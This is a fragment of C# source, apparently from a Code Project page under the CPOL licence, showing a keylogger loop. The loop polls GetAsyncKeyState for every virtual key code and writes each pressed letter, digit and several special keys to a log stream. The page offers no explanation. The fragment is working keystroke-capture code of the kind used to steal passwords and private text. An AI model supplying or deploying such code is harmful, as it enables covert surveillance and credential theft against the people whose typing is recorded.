for (Int32 i = 0; i < 255; i++) { int keyState = GetAsyncKeyState(i); if (keyState == 1 || keyState == -32767) { switch ((Keys)i) { case Keys.ControlKey: sw.Write(""); break; case Keys.LMenu: sw.Write(""); break; case Keys.RMenu: sw.Write(""); break; case Keys.Space: sw.Write(" "); break; case Keys.Return: sw.WriteLine("\n"); break; case Keys.Back: sw.Write(""); break; case Keys.Tab: sw.Write(""); break; case Keys.ShiftKey: sw.Write(""); break; case Keys.LButton: sw.Write(""); break; case Keys.Insert: sw.Write(""); break; case Keys.Delete: sw.Write(" DEL "); break; case Keys.LShiftKey: sw.Write(""); break; case Keys.RShiftKey: sw.Write(""); break; case Keys.LControlKey: sw.Write(""); break; case Keys.RControlKey: sw.Write(""); break; case Keys.LWin: sw.Write(" [Start Menu] "); break; case Keys.A: sw.Write("a"); break; case Keys.B: sw.Write("b"); break; case Keys.C: sw.Write("c"); break; case Keys.D: sw.Write("d"); break; case Keys.E: sw.Write("e"); break; case Keys.F: sw.Write("f"); break; case Keys.G: sw.Write("g"); break; case Keys.H: sw.Write("h"); break; case Keys.I: sw.Write("i"); break; case Keys.J: sw.Write("j"); break; case Keys.K: sw.Write("k"); break; case Keys.L: sw.Write("l"); break; case Keys.M: sw.Write("m"); break; case Keys.N: sw.Write("n"); break; case Keys.O: sw.Write("o"); break; case Keys.P: sw.Write("p"); break; case Keys.Q: sw.Write("q"); break; case Keys.R: sw.Write("r"); break; case Keys.S: sw.Write("s"); break; case Keys.T: sw.Write("t"); break; case Keys.U: sw.Write("u"); break; case Keys.V: sw.Write("v"); break; case Keys.W: sw.Write("w"); break; case Keys.X: sw.Write("x"); break; case Keys.Y: sw.Write("y"); break; case Keys.Z: sw.Write("z"); break; case Keys.D0: sw.Write("0"); break; case Keys.D1: sw.Write("1"); break; case Keys.D2: sw.Write("2"); break; case Keys.D3: sw.Write("3"); break; case Keys.D4: sw.Write("4"); break; case Keys.D5: sw.Write("5"); break; case Keys.D6: sw.Write("6"); break; case Keys.D7: sw.Write("7"); break; case Keys.D8: sw.Write("8"); break; case Keys.D9: sw.Write("9"); break; case Keys.Add: sw.Write("+"); break; case Keys.Divide: sw.Write("/"); break; case Keys.End: sw.Write(" End "); break; case Keys.Escape: sw.Write(" Esc "); break; case Keys.F1: sw.Write(" F1 "); break; case Keys.F2: sw.Write(" F2 "); break; case Keys.F3: sw.Write(" F3 "); break; case Keys.F4: sw.Write(" F4 "); break; case Keys.F5: sw.Write(" F5 "); break; case Keys.F6: sw.Write(" F6 "); break; case Keys.F7: sw.Write(" F7 "); break; case Keys.F8: sw.Write(" F8 "); break;
default: sw.Write((Keys)i); break; }
var
This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)